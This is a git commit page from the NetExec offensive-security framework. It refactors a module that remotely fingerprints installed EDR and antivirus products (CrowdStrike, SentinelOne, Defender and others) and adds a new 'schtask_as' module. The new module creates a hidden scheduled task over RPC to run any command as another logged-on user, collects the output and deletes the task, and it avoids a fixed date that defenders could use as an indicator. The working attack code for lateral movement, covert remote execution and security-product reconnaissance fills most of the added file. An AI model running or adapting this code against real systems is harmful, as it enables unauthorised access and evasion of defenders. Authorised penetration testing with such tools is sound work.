Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <Marshall.Hallenbeck@gmail.com>main
Marshall Hallenbeck
GitHub
commit
bbc661ba38
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@ -2,11 +2,12 @@
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# -*- coding: utf-8 -*-
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# All credit to @an0n_r0
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# project : https://github.com/tothi/serviceDetector
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# https://github.com/tothi/serviceDetector
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# Module by @mpgn_x64
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# https://twitter.com/mpgn_x64
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from impacket.dcerpc.v5 import lsat, lsad
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from impacket.dcerpc.v5 import lsat, lsad, transport
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from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
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from impacket.dcerpc.v5 import transport
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import pathlib
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@ -27,84 +28,83 @@ class NXCModule:
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self.module_options = module_options
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def options(self, context, module_options):
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""" """
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"""
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"""
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pass
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def on_login(self, context, connection):
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success = 0
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results = {}
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target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
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target = self._get_target(connection)
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context.log.debug(f"Detecting installed services on {target} using LsarLookupNames()...")
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results = self._detect_installed_services(context, connection, target)
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self.detect_running_processes(context, connection, results)
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self.dump_results(results, connection.hostname, context)
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def _get_target(self, connection):
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return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
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def _detect_installed_services(self, context, connection, target):
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results = {}
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try:
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lsa = LsaLookupNames(
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connection.domain,
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connection.username,
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connection.password,
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target,
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connection.kerberos,
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connection.domain,
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connection.lmhash,
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connection.nthash,
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connection.aesKey,
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domain=connection.domain,
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username=connection.username,
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password=connection.password,
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remote_name=target,
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do_kerberos=connection.kerberos,
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kdcHost=connection.domain,
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lmhash=connection.lmhash,
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nthash=connection.nthash,
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aesKey=connection.aesKey
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)
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dce, rpctransport = lsa.connect()
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dce, _ = lsa.connect()
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policyHandle = lsa.open_policy(dce)
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for i, product in enumerate(conf["products"]):
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for product in conf["products"]:
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for service in product["services"]:
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try:
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lsa.LsarLookupNames(dce, policyHandle, service["name"])
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context.log.info(
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f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
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if product["name"] not in results:
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results[product["name"]] = {"services": []}
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results[product["name"]]["services"].append(service)
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context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
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results.setdefault(product["name"], {"services": []})["services"].append(service)
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except Exception:
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pass
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success += 1
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except Exception as e:
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context.log.fail(str(e))
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return results
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def detect_running_processes(self, context, connection, results):
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context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...")
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try:
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for f in connection.conn.listPath("IPC$", "\\*"):
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fl = f.get_longname()
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for i, product in enumerate(conf["products"]):
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for product in conf["products"]:
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for pipe in product["pipes"]:
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if pathlib.PurePath(fl).match(pipe["name"]):
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context.log.debug(
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f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
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if product["name"] not in results:
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results[product["name"]] = {}
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if "pipes" not in results[product["name"]]:
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results[product["name"]]["pipes"] = []
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results[product["name"]]["pipes"].append(pipe)
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success += 1
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context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
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prod_results = results.setdefault(product["name"], {})
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prod_results.setdefault("pipes", []).append(pipe)
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except Exception as e:
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context.log.debug(str(e))
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self.dump_results(results, connection.hostname, success, context)
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def dump_results(self, results, remoteName, context):
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if not results:
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context.log.highlight(f"Found NOTHING!")
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return
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def dump_results(self, results, remoteName, success, context):
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# out1 = "On host {} found".format(remoteName)
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out1 = ""
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for item in results:
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out = out1
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if "services" in results[item]:
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out += f"{item} INSTALLED"
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if "pipes" in results[item]:
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out += " and it seems to be RUNNING"
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# else:
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# for product in conf['products']:
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# if (item == product['name']) and (len(product['pipes']) == 0):
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# out += " (NamedPipe for this service was not provided in config)"
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elif "pipes" in results[item]:
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out += f" {item} RUNNING"
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context.log.highlight(out)
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if (len(results) < 1) and (success > 1):
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out = out1 + " NOTHING!"
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context.log.highlight(out)
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for item, data in results.items():
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message = f"Found {item}"
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if "services" in data:
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message += " INSTALLED"
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if "pipes" in data:
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message += " and RUNNING"
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elif "pipes" in data:
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message += " RUNNING"
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context.log.highlight(message)
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class LsaLookupNames:
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@ -118,23 +118,23 @@ class LsaLookupNames:
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authn = True
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def __init__(
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self,
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domain="",
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username="",
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password="",
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remote_name="",
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k=False,
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kdcHost="",
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lmhash="",
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nthash="",
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aesKey="",
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self,
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domain="",
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username="",
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password="",
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remote_name="",
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do_kerberos=False,
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kdcHost="",
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lmhash="",
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nthash="",
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aesKey="",
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):
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self.domain = domain
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self.username = username
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self.password = password
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self.remoteName = remote_name
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self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
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self.doKerberos = k
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self.doKerberos = do_kerberos
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self.lmhash = lmhash
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self.nthash = nthash
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self.aesKey = aesKey
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@ -210,71 +210,56 @@ class LsaLookupNames:
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conf = {
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"products": [
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{
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"name": "Acronis Cyber Protect Active Protection",
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"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
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"pipes": []
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},
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{
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"name": "Bitdefender",
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"services": [
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{
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"name": "bdredline_agent",
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"description": "Bitdefender Agent RedLine Service",
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},
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{"name": "bdredline_agent", "description": "Bitdefender Agent RedLine Service"},
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{"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"},
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{
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"name": "UPDATESRV",
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"description": "Bitdefender Desktop Update Service",
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},
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{"name": "UPDATESRV", "description": "Bitdefender Desktop Update Service"},
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{"name": "VSSERV", "description": "Bitdefender Virus Shield"},
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{"name": "bdredline", "description": "Bitdefender RedLine Service"},
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{"name": "EPRedline", "description": "Bitdefender Endpoint Redline Service"},
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{"name": "EPUpdateService", "description": "Bitdefender Endpoint Update Service"},
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{"name": "EPSecurityService", "description": "Bitdefender Endpoint Security Service"},
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{"name": "EPProtectedService", "description": "Bitdefender Endpoint Protected Service"},
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{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"},
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{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"}
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],
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"pipes": [
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{
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"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe",
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"processes": ["EPConsole.exe"],
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},
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{
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"name": "etw_sensor_pipe_ppl",
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"processes": ["EPProtectedService.exe"],
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},
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{
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"name": "local\\msgbus\\antitracker.low\\*",
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"processes": ["bdagent.exe"],
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},
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{
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"name": "local\\msgbus\\aspam.actions.low\\*",
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"processes": ["bdagent.exe"],
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},
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{
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"name": "local\\msgbus\\bd.process.broker.pipe",
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"processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"],
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},
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{"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", "processes": ["EPConsole.exe"]},
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{"name": "etw_sensor_pipe_ppl", "processes": ["EPProtectedService.exe"]},
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{"name": "local\\msgbus\\antitracker.low\\*", "processes": ["bdagent.exe"]},
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{"name": "local\\msgbus\\aspam.actions.low\\*", "processes": ["bdagent.exe"]},
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{"name": "local\\msgbus\\bd.process.broker.pipe", "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"]},
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{"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]},
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{
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"name": "local\\msgbus\\bdauxsrv",
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"processes": ["bdagent.exe", "bdntwrk.exe"],
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},
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],
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{"name": "local\\msgbus\\bdauxsrv", "processes": ["bdagent.exe", "bdntwrk.exe"]}
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]
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},
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{
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"name": "Windows Defender",
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"name": "Carbon Black App Control",
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"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
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"pipes": []
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},
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{
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"name": "CrowdStrike",
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"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
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"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
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},
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{
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"name": "Cybereason",
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"services": [
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{
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"name": "WinDefend",
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"description": "Windows Defender Antivirus Service",
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},
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{
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"name": "Sense",
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"description": "Windows Defender Advanced Threat Protection Service",
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},
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{
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"name": "WdNisSvc",
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"description": "Windows Defender Antivirus Network Inspection Service",
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},
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{"name": "CybereasonActiveProbe", "description": "Cybereason Active Probe"},
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{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
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{"name": "CybereasonBlocki", "description": "Cybereason Execution Prevention"}
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],
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"pipes": [],
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"pipes": [
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{"name": "CybereasonAPConsoleMinionHostIpc_*", "processes": ["minionhost.exe"]},
|
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{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
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]
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},
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{
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"name": "ESET",
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|
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@ -288,257 +273,108 @@ conf = {
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"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
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},
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{
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"name": "CrowdStrike",
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"name": "G DATA Security Client",
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"services": [
|
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{
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"name": "CSFalconService",
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"description": "CrowdStrike Falcon Sensor Service",
|
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}
|
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{"name": "AVKWCtl", "description": "Anti-virus Kit Window Control"},
|
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{"name": "AVKProxy", "description": "G Data AntiVirus Proxy Service"},
|
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{"name": "GDScan", "description": "GDSG Data AntiVirus Scan Service"}
|
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],
|
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"pipes": [
|
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{
|
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"name": "CrowdStrike\\{*",
|
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"processes": ["CSFalconContainer.exe", "CSFalconService.exe"],
|
||||
}
|
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],
|
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},
|
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{
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"name": "SentinelOne",
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"services": [
|
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{
|
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"name": "SentinelAgent",
|
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"description": "SentinelOne Endpoint Protection Agent",
|
||||
},
|
||||
{
|
||||
"name": "SentinelStaticEngine",
|
||||
"description": "Manage static engines for SentinelOne Endpoint Protection",
|
||||
},
|
||||
{
|
||||
"name": "LogProcessorService",
|
||||
"description": "Manage logs for SentinelOne Endpoint Protection",
|
||||
},
|
||||
],
|
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"pipes": [
|
||||
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
|
||||
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
|
||||
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]},
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "Carbon Black App Control",
|
||||
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
|
||||
"pipes": [],
|
||||
},
|
||||
{
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
{
|
||||
"name": "CybereasonActiveProbe",
|
||||
"description": "Cybereason Active Probe",
|
||||
},
|
||||
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
|
||||
{
|
||||
"name": "CybereasonBlocki",
|
||||
"description": "Cybereason Execution Prevention",
|
||||
},
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "CybereasonAPConsoleMinionHostIpc_*",
|
||||
"processes": ["minionhost.exe"],
|
||||
},
|
||||
{
|
||||
"name": "CybereasonAPServerProxyIpc_*",
|
||||
"processes": ["minionhost.exe"],
|
||||
},
|
||||
],
|
||||
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Kaspersky Security for Windows Server",
|
||||
"services": [
|
||||
{
|
||||
"name": "kavfsslp",
|
||||
"description": "Kaspersky Security Exploit Prevention Service",
|
||||
},
|
||||
{
|
||||
"name": "KAVFS",
|
||||
"description": "Kaspersky Security Service",
|
||||
},
|
||||
{
|
||||
"name": "KAVFSGT",
|
||||
"description": "Kaspersky Security Management Service",
|
||||
},
|
||||
{
|
||||
"name": "klnagent",
|
||||
"description": "Kaspersky Security Center",
|
||||
},
|
||||
{"name": "kavfsslp", "description": "Kaspersky Security Exploit Prevention Service"},
|
||||
{"name": "KAVFS", "description": "Kaspersky Security Service"},
|
||||
{"name": "KAVFSGT", "description": "Kaspersky Security Management Service"},
|
||||
{"name": "klnagent", "description": "Kaspersky Security Center"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "Exploit_Blocker",
|
||||
"processes": ["kavfswh.exe"],
|
||||
},
|
||||
],
|
||||
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"name": "Panda Adaptive Defense 360",
|
||||
"services": [
|
||||
{
|
||||
"name": "Trend Micro Endpoint Basecamp",
|
||||
"description": "Trend Micro Endpoint Basecamp",
|
||||
},
|
||||
{
|
||||
"name": "TMBMServer",
|
||||
"description": "Trend Micro Unauthorized Change Prevention Service",
|
||||
},
|
||||
{
|
||||
"name": "Trend Micro Web Service Communicator",
|
||||
"description": "Trend Micro Web Service Communicator",
|
||||
},
|
||||
{
|
||||
"name": "TMiACAgentSvc",
|
||||
"description": "Trend Micro Application Control Service (Agent)",
|
||||
},
|
||||
{
|
||||
"name": "CETASvc",
|
||||
"description": "Trend Micro Cloud Endpoint Telemetry Service",
|
||||
},
|
||||
{
|
||||
"name": "iVPAgent",
|
||||
"description": "Trend Micro Vulnerability Protection Service (Agent)",
|
||||
},
|
||||
{"name": "PandaAetherAgent", "description": "Panda Endpoint Agent"},
|
||||
{"name": "PSUAService", "description": "Panda Product Service"},
|
||||
{"name": "NanoServiceMain", "description": "Panda Cloud Antivirus Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "IPC_XBC_XBC_AGENT_PIPE_*",
|
||||
"processes": ["EndpointBasecamp.exe"],
|
||||
},
|
||||
{
|
||||
"name": "iacagent_*",
|
||||
"processes": ["TMiACAgentSvc.exe"],
|
||||
},
|
||||
{
|
||||
"name": "OIPC_LWCS_PIPE_*",
|
||||
"processes": ["TmListen.exe"],
|
||||
},
|
||||
{
|
||||
"name": "Log_ServerNamePipe",
|
||||
"processes": ["LogServer.exe"],
|
||||
},
|
||||
{
|
||||
"name": "OIPC_NTRTSCAN_PIPE_*",
|
||||
"processes": ["Ntrtscan.exe"],
|
||||
},
|
||||
{"name": "NNS_API_IPC_SRV_ENDPOINT", "processes": ["PSANHost.exe"]},
|
||||
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "SentinelOne",
|
||||
"services": [
|
||||
{"name": "SentinelAgent", "description": "SentinelOne Endpoint Protection Agent"},
|
||||
{"name": "SentinelStaticEngine", "description": "Manage static engines for SentinelOne Endpoint Protection"},
|
||||
{"name": "LogProcessorService", "description": "Manage logs for SentinelOne Endpoint Protection"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
|
||||
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
|
||||
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{
|
||||
"name": "SepMasterService",
|
||||
"description": "Symantec Endpoint Protection",
|
||||
},
|
||||
{
|
||||
"name": "SepScanService",
|
||||
"description": "Symantec Endpoint Protection Scan Services",
|
||||
},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"},
|
||||
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
|
||||
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"}
|
||||
],
|
||||
"pipes": [],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Sophos Intercept X",
|
||||
"services": [
|
||||
{
|
||||
"name": "SntpService",
|
||||
"description": "Sophos Network Threat Protection"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Endpoint Defense Service",
|
||||
"description": "Sophos Endpoint Defense Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos File Scanner Service",
|
||||
"description": "Sophos File Scanner Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Health Service",
|
||||
"description": "Sophos Health Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Live Query",
|
||||
"description": "Sophos Live Query"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Managed Threat Response",
|
||||
"description": "Sophos Managed Threat Response"
|
||||
},
|
||||
{
|
||||
"name": "Sophos MCS Agent",
|
||||
"description": "Sophos MCS Agent"
|
||||
},
|
||||
{
|
||||
"name": "Sophos MCS Client",
|
||||
"description": "Sophos MCS Client"
|
||||
},
|
||||
{
|
||||
"name": "Sophos System Protection Service",
|
||||
"description": "Sophos System Protection Service"
|
||||
}
|
||||
{"name": "SntpService", "description": "Sophos Network Threat Protection"},
|
||||
{"name": "Sophos Endpoint Defense Service", "description": "Sophos Endpoint Defense Service"},
|
||||
{"name": "Sophos File Scanner Service", "description": "Sophos File Scanner Service"},
|
||||
{"name": "Sophos Health Service", "description": "Sophos Health Service"},
|
||||
{"name": "Sophos Live Query", "description": "Sophos Live Query"},
|
||||
{"name": "Sophos Managed Threat Response", "description": "Sophos Managed Threat Response"},
|
||||
{"name": "Sophos MCS Agent", "description": "Sophos MCS Agent"},
|
||||
{"name": "Sophos MCS Client", "description": "Sophos MCS Client"},
|
||||
{"name": "Sophos System Protection Service", "description": "Sophos System Protection Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "SophosUI", "processes": [""]},
|
||||
{"name": "SophosEventStore", "processes": [""]},
|
||||
{"name": "sophos_deviceencryption", "processes": [""]},
|
||||
{"name": "sophoslivequery_*", "processes": [""]},
|
||||
],
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "G DATA Security Client",
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"services": [
|
||||
{
|
||||
"name": "AVKWCtl",
|
||||
"description": "Anti-virus Kit Window Control",
|
||||
},
|
||||
{
|
||||
"name": "AVKProxy",
|
||||
"description": "G Data AntiVirus Proxy Service"
|
||||
},
|
||||
{
|
||||
"name": "GDScan",
|
||||
"description": "GDSG Data AntiVirus Scan Service",
|
||||
},
|
||||
{"name": "Trend Micro Endpoint Basecamp", "description": "Trend Micro Endpoint Basecamp"},
|
||||
{"name": "TMBMServer", "description": "Trend Micro Unauthorized Change Prevention Service"},
|
||||
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
|
||||
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
|
||||
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
|
||||
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "exploitProtectionIPC",
|
||||
"processes": ["AVKWCtlx64.exe"],
|
||||
},
|
||||
],
|
||||
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
|
||||
{"name": "iacagent_*", "processes": ["TMiACAgentSvc.exe"]},
|
||||
{"name": "OIPC_LWCS_PIPE_*", "processes": ["TmListen.exe"]},
|
||||
{"name": "Log_ServerNamePipe", "processes": ["LogServer.exe"]},
|
||||
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Panda Adaptive Defense 360",
|
||||
"name": "Windows Defender",
|
||||
"services": [
|
||||
{
|
||||
"name": "PandaAetherAgent",
|
||||
"description": "Panda Endpoint Agent",
|
||||
},
|
||||
{"name": "PSUAService", "description": "Panda Product Service"},
|
||||
{
|
||||
"name": "NanoServiceMain",
|
||||
"description": "Panda Cloud Antivirus Service",
|
||||
},
|
||||
{"name": "WinDefend", "description": "Windows Defender Antivirus Service"},
|
||||
{"name": "Sense", "description": "Windows Defender Advanced Threat Protection Service"},
|
||||
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "NNS_API_IPC_SRV_ENDPOINT",
|
||||
"processes": ["PSANHost.exe"],
|
||||
},
|
||||
{
|
||||
"name": "PSANMSrvcPpal",
|
||||
"processes": ["PSUAService.exe"],
|
||||
},
|
||||
],
|
||||
},
|
||||
"pipes": []
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
|||
|
|
@ -0,0 +1,289 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
from time import sleep
|
||||
from datetime import datetime
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Execute a scheduled task remotely as a already connected user by @Defte_
|
||||
Thanks @Shad0wC0ntr0ller for the idea of removing the hardcoded date that could be used as an IOC
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
CMD Command to execute
|
||||
USER User to execute command as
|
||||
"""
|
||||
|
||||
self.cmd = self.user = self.time = None
|
||||
if "CMD" in module_options:
|
||||
self.cmd = module_options["CMD"]
|
||||
|
||||
if "USER" in module_options:
|
||||
self.user = module_options["USER"]
|
||||
|
||||
name = "schtask_as"
|
||||
description = "Remotely execute a scheduled task as a logged on user"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.logger = context.log
|
||||
if self.cmd is None:
|
||||
self.logger.fail("You need to specify a CMD to run")
|
||||
return 1
|
||||
if self.user is None:
|
||||
self.logger.fail("You need to specify a USER to run the command as")
|
||||
return 1
|
||||
|
||||
self.logger.display("Connecting to the remote Service control endpoint")
|
||||
try:
|
||||
exec_method = TSCH_EXEC(
|
||||
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
connection.smb_share_name,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
self.user,
|
||||
self.cmd,
|
||||
connection.kerberos,
|
||||
connection.aesKey,
|
||||
connection.kdcHost,
|
||||
connection.hash,
|
||||
self.logger,
|
||||
connection.args.get_output_tries,
|
||||
"C$" # This one shouldn't be hardcoded but I don't know where to retrive the info
|
||||
)
|
||||
|
||||
self.logger.display(f"Executing {self.cmd} as {self.user}")
|
||||
output = exec_method.execute(self.cmd, True)
|
||||
|
||||
try:
|
||||
if not isinstance(output, str):
|
||||
output = output.decode(connection.args.codec)
|
||||
except UnicodeDecodeError:
|
||||
# Required to decode specific french caracters otherwise it'll print b"<result>"
|
||||
output = output.decode("cp437")
|
||||
if output:
|
||||
self.logger.highlight(output)
|
||||
|
||||
except Exception as e:
|
||||
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
|
||||
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__share_name = share_name
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__outputBuffer = b""
|
||||
self.__retOutput = False
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.__tries = tries
|
||||
self.__output_filename = None
|
||||
self.__share = share
|
||||
self.logger = logger
|
||||
self.cmd = cmd
|
||||
self.user = user
|
||||
|
||||
if hashes is not None:
|
||||
if hashes.find(":") != -1:
|
||||
self.__lmhash, self.__nthash = hashes.split(":")
|
||||
else:
|
||||
self.__nthash = hashes
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ""
|
||||
|
||||
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
|
||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
if hasattr(self.__rpctransport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
self.__rpctransport.set_credentials(
|
||||
self.__username,
|
||||
self.__password,
|
||||
self.__domain,
|
||||
self.__lmhash,
|
||||
self.__nthash,
|
||||
self.__aesKey,
|
||||
)
|
||||
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
self.execute_handler(command)
|
||||
return self.__outputBuffer
|
||||
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer = data
|
||||
|
||||
def get_current_date(self):
|
||||
# Get current date and time
|
||||
now = datetime.now()
|
||||
|
||||
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
|
||||
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
|
||||
|
||||
def gen_xml(self, command, fileless=False):
|
||||
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<Triggers>
|
||||
<CalendarTrigger>
|
||||
<StartBoundary>{self.get_current_date()}</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
<ScheduleByDay>
|
||||
<DaysInterval>1</DaysInterval>
|
||||
</ScheduleByDay>
|
||||
</CalendarTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
<UserId>{self.user}</UserId>
|
||||
<RunLevel>HighestAvailable</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="LocalSystem">
|
||||
<Exec>
|
||||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
if self.__retOutput:
|
||||
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
|
||||
if fileless:
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1</Arguments>"
|
||||
else:
|
||||
argument_xml = f" <Arguments>/C {command} > {self.__output_filename} 2>&1</Arguments>"
|
||||
|
||||
elif self.__retOutput is False:
|
||||
argument_xml = f" <Arguments>/C {command}</Arguments>"
|
||||
|
||||
self.logger.debug(f"Generated argument XML: {argument_xml}")
|
||||
xml += argument_xml
|
||||
xml += """
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
"""
|
||||
return xml
|
||||
|
||||
def execute_handler(self, command, fileless=False):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
|
||||
tmpName = gen_random_string(8)
|
||||
|
||||
xml = self.gen_xml(command, fileless)
|
||||
|
||||
self.logger.info(f"Task XML: {xml}")
|
||||
taskCreated = False
|
||||
self.logger.info(f"Creating task \\{tmpName}")
|
||||
try:
|
||||
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
except Exception as e:
|
||||
if "ERROR_NONE_MAPPED" in str(e):
|
||||
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
|
||||
if e.error_code and hex(e.error_code) == "0x80070005":
|
||||
self.logger.fail("Schtask_as: Create schedule task got blocked.")
|
||||
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
|
||||
self.logger.fail(f"User {self.user} does not exist in the domain.")
|
||||
else:
|
||||
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
|
||||
return
|
||||
else:
|
||||
taskCreated = True
|
||||
|
||||
self.logger.info(f"Running task \\{tmpName}")
|
||||
tsch.hSchRpcRun(dce, f"\\{tmpName}")
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
self.logger.info(f"Deleting task \\{tmpName}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
taskCreated = False
|
||||
|
||||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
|
||||
if self.__retOutput:
|
||||
if fileless:
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename), "r") as output:
|
||||
